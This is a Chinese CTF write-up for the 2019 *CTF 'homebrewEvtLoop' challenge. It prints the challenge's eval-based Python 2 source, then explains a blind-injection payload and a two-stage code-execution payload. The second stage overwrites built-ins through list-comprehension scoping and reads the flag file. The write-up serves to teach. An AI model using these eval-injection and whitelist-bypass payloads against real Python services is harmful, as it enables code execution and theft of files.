内容简介:这道题中留了两个flag,分别可用盲注和直接RCE读取的方式获得,挺有意思的,记录一下。首先代码如下:程序将用户输入的数据通过114514来切割,分别作为函数名和参数。然后函数名会用eval处理,不过函数名还会经过valid_event_chars字符白名单验证,需要绕过。
这道题中留了两个flag,分别可用盲注和直接RCE读取的方式获得,挺有意思的,记录一下。
题目
首先代码如下:
#!/usr/bin/python # -*- encoding: utf-8 -*- # written in python 2.7 __author__ = 'garzon' import sys import hashlib import random # private ------------------------------------------------------------ def flag(): # flag of stage 1 return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}' def flag2(): ret = '' # flag of stage 2 # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2! return ret def switch_safe_mode_factory(): ctx = {'io_pair': [None, None]} def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair']) return __wrapper def PoW(): #return while True: a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex') print 'hashlib.sha1(input).hexdigest() == "%s"' % a print '>', input = raw_input() if hashlib.sha1(input).hexdigest()[:4] == a: break print 'invalid PoW, please retry' # protected ---------------------------------------------------------- def fib(a): if a <= 1: return 1 return fib(a-1)+fib(a-2) # public ------------------------------------------------------------- def load_flag_handler(args): global session session['log'] = flag2() return 'done' def ping_handler(args): return 'pong' def fib_handler(args): a = int(args[0]) if a > 5 or a < 0: return 'out of range' return str(fib(a)) if __name__ == '__main__': session = {} session['log'] = flag() switch_safe_mode = switch_safe_mode_factory() switch_safe_mode_factory = None valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]') while True: PoW() print '$', event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ... switch_safe_mode() if event == 'exit': break for c in event: if c not in valid_event_chars: print "invalid request" exit(-1) event, args = event.split('114514') args = args.split('114514') try: handler = eval(event) print handler(args) #except Exception, e: # print 'exception:', str(e) except: print 'exception'
程序将用户输入的数据通过114514来切割,分别作为函数名和参数。然后函数名会用eval处理,不过函数名还会经过valid_event_chars字符白名单验证,需要绕过。
盲注
盲注payload如下:
session[args[0]][5]in[event[49]][0]and[dir][0]or[abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789]114514log # 把这个payload分成三个部分 # flag字符拆解 and dir or 字符集
session[args[0]][5]
中的5其实是flag字符的下标,而 event[49]
中的49对应的是整个payload中字符的下标,即用于拆解的字符集中的a字符。
# flag字符拆解 and dir or 字符集 如果flag字符拆解结果为True: flag字符拆解 and dir or 字符集 => True and dir or 字符集 => dir => dir(字符串) 如果flag字符拆解结果为False: flag字符拆解 and dir or 字符集 => False and dir or 字符集 => 字符集 => 字符集(字符串)
程序之后又将这个eval的返回结果作为函数名调用对应函数,根据这两种不同的返回结果,我们就可以进行逐位盲注。
RCE
再来看看RCE的payload:
# 第一次输入 [[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514 # 第二次输入 ['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]
第一次输入的payload可以拆解如下:
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]] # 类似于 l = [] for [PoW] in [[switch_safe_mode]] : PoW = switch_safe_mode for [raw_input] in [[input]] : raw_input = input l.append([str])
这段payload做的最重要的就是变量覆盖,修改函数原有的功能。这里使Pow变成了switch_safe_mode,而raw_input变成了input。然后在下一次循环的时候,Pow函数就不会再要我们输入字符串校验。
这里之所以把raw_input变成了input,是因为题目环境为 python 2.x,而Python2.x中input函数定义如下:
Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入。 Python3.x 中 input() 函数接受一个标准输入数据,返回为 string 类型。
这样就相当于下次输入的字符串会执行两次eval,我们再来看第二次输入的payload:
# 第二次输入 ['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]
这个payload经过input函数后,实际上就是把前一半 [[str]for[args]in[[session]]][0][0]114514
的内容赋值给了event。但是它还做了一件很重要的问题,那就是把flag文件的内容赋值给了session变量。这里涉及到python变量作用范围问题,如下例子:
>>> i = 233 >>> l = [i for i in range(1,10)] >>> i 9
列表生成式中的变量会影响列表以外的变量,之后获得flag的过程就如下:
event = raw_input() # event: '[[str]for[args]in[[session]]][0][0]114514'; session: flag内容 event, args = event.split('114514') # event: args = args.split('114514') handler = eval(event) # event: str; args: flag内容 print handler(args) # str(flag内容)
以上所述就是小编给大家介绍的《2019*CTF之homebrewEvtLoop》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
你必须知道的213个C语言问题
范立锋、李世欣 / 人民邮电出版社 / 2010-6 / 45.00元
《你必须知道的213个C语言问题》精选了213个在C语言程序设计中经常遇到的问题,目的是帮助读者解决在C语言学习和开发中遇到的实际困难,提高读者学习和开发的效率。这些问题涵盖了C语言与软件开发、C语言基础、编译预处理、字符串、函数、键盘操作、文件、目录和磁盘、数组、指针和结构、DOS服务和BIOS服务、日期和时间、重定向I/O和进程命令、C语言开发常见错误及程序调试等内容,均是作者经过充分的调研,......一起来看看 《你必须知道的213个C语言问题》 这本书的介绍吧!